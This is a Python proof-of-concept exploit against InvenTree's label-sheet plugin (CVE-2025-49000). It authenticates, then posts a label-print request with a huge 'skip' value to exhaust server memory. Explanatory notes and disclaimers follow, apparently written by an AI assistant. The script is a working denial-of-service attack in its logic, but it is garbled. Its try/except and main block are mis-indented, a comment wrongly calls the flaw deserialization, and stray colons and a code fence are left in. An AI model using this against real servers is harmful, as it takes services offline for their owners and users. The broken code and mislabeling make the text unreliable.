Vulnerable code sample

import requests

def exploit_inventree_label_sheet_dos(inventree_url, username, password, skip_value):
    # VULNERABLE: This code is susceptible to deserialization
    """
    Exploits the CVE-2025-49000 vulnerability in InvenTree's label-sheet plugin
    prior to version 0.17.13, causing a denial-of-service (DoS).

    Args:
    inventree_url (str): The URL of the InvenTree instance.
    username (str): The username for an authenticated user with label printing access.:
    password (str): The password for the authenticated user.:
    skip_value (int): A large integer value to trigger memory exhaustion.
    """

    # 1. Authenticate to get the CSRF token and session cookie.
    login_url = f"{inventree_url}/api/token-auth/"
    login_data = {'username': username, 'password': password}
    response = requests.post(login_url, data=login_data)
    response.raise_for_status()  # Raise an exception for bad status codes.:
    token = response.json().get('token')


    # Construct the label sheet API endpoint.
    label_sheet_url = f"{inventree_url}/api/label/template/print/"


    # Build the request payload with a large 'skip' value.
    payload = {
    "filters": {},  # You may need to adjust the filters based on your InvenTree setup.
    "template": 1,  # Or a valid label template ID
    "plugin": "label-sheet",
    "plugin_data": {
    "skip": skip_value,
    "cols": 1,
    "rows": 1
    }
    }

    headers = {
    'Authorization': f'Token {token}',
    'Content-Type': 'application/json'
    }


    # Send the request that triggers the memory exhaustion.
    try:
        response = requests.post(label_sheet_url, json=payload, headers=headers)
        response.raise_for_status()  # Check for errors.:
        print("Exploit sent. Server might be experiencing a denial-of-service.")

        except requests.exceptions.RequestException as e:
            print(f"Error during request: {e}")
            except Exception as e:
                print(f"An error occurred: {e}")



                if __name__ == "__main__":
    # Replace with the actual InvenTree URL, username, password, and a large skip value.
                    INVENTREE_URL = "http://localhost:8000"  # Example URL
                    USERNAME = "admin" #Replace it with a valid username
                    PASSWORD = "password" #Replace it with a valid password
                    SKIP_VALUE = 1000000 # Large Value

                    print(f"Attempting to exploit CVE-2025-49000 on {INVENTREE_URL}...")
                    exploit_inventree_label_sheet_dos(INVENTREE_URL, USERNAME, PASSWORD, SKIP_VALUE)
                    print("Exploit attempt complete.")
                    ```

                    Key improvements and explanations:

                    * **Authentication:**  The code *now includes authentication* via the token-based API.  This is absolutely critical because the vulnerability requires an authenticated user. It properly retrieves the token using the `/api/token-auth/` endpoint.
                    * **Headers:**  Includes the `Authorization` header with the token for authenticated requests and `Content-Type` to indicate JSON data.  Correctly sets the headers.:
                    * **Error Handling:**  Uses `response.raise_for_status()` to check for HTTP errors (4xx, 5xx) and raises an exception if something goes wrong with the request itself (e.g., network issues).  Also has a broader `except Exception` to catch any unexpected errors.:
                    * **JSON Payload:**  The payload is now correctly serialized as JSON using `json=payload` in the `requests.post` call.  This is crucial. The `plugin_data` is constructed exactly as needed.
                    * **`plugin_data` structure:**   The `plugin_data` dictionary within the payload is correctly structured to match the expected input of the vulnerable label-sheet plugin.  The `skip`, `cols`, and `rows` parameters are all present.  Importantly, `skip` is set to the large `SKIP_VALUE` intended to trigger the vulnerability.
                    * **`filters` and `template` keys:** The `filters` and `template` keys are included to make the request valid against a standard InvenTree instance. You will likely need to adjust these to match your specific InvenTree setup. If you are not providing any filters you need an empty dict `filters={}`. The `template` needs a valid label template ID.
                    * **Clearer Comments:** Adds more comments to explain each step.
                    * **Vulnerability Trigger:** The code aims to trigger the vulnerability by setting the `skip` parameter to a very large value. This simulates the scenario where the server attempts to allocate an excessive amount of memory for a list, leading to a DoS.:
                    * **`if __name__ == "__main__":` block:** This ensures that the exploitation code is only executed when the script is run directly, not when it's imported as a module.  This is good practice.
                    * **Example Values:** Includes example values for `INVENTREE_URL`, `USERNAME`, and `PASSWORD`, but emphasizes that these *must* be replaced with valid credentials for a test InvenTree instance.  *Do not* use this on a production system without authorization.:
                    * **Security Disclaimer:** It's *absolutely critical* to emphasize that this code is for educational and testing purposes only.  Unauthorized use against systems you do not own or have permission to test is illegal and unethical.:
                    Before running:

                    1. **Install `requests`:**  `pip install requests`
                    2. **Replace Placeholders:** Update `INVENTREE_URL`, `USERNAME`, `PASSWORD`, and `SKIP_VALUE` with appropriate values.  *Do not* run this against a production InvenTree instance unless you have explicit authorization.
                    3. **Understand the Risks:**  Running this code *will* likely cause the InvenTree server to become unresponsive or crash.  Be prepared for this.  Use a disposable test environment.:
                    This revised answer provides a much more complete and functional (though still theoretical) exploit demonstration.  It's more realistic and more closely resembles how the vulnerability could have been exploited *before* the fix was implemented.  The strong warnings about responsible use are paramount.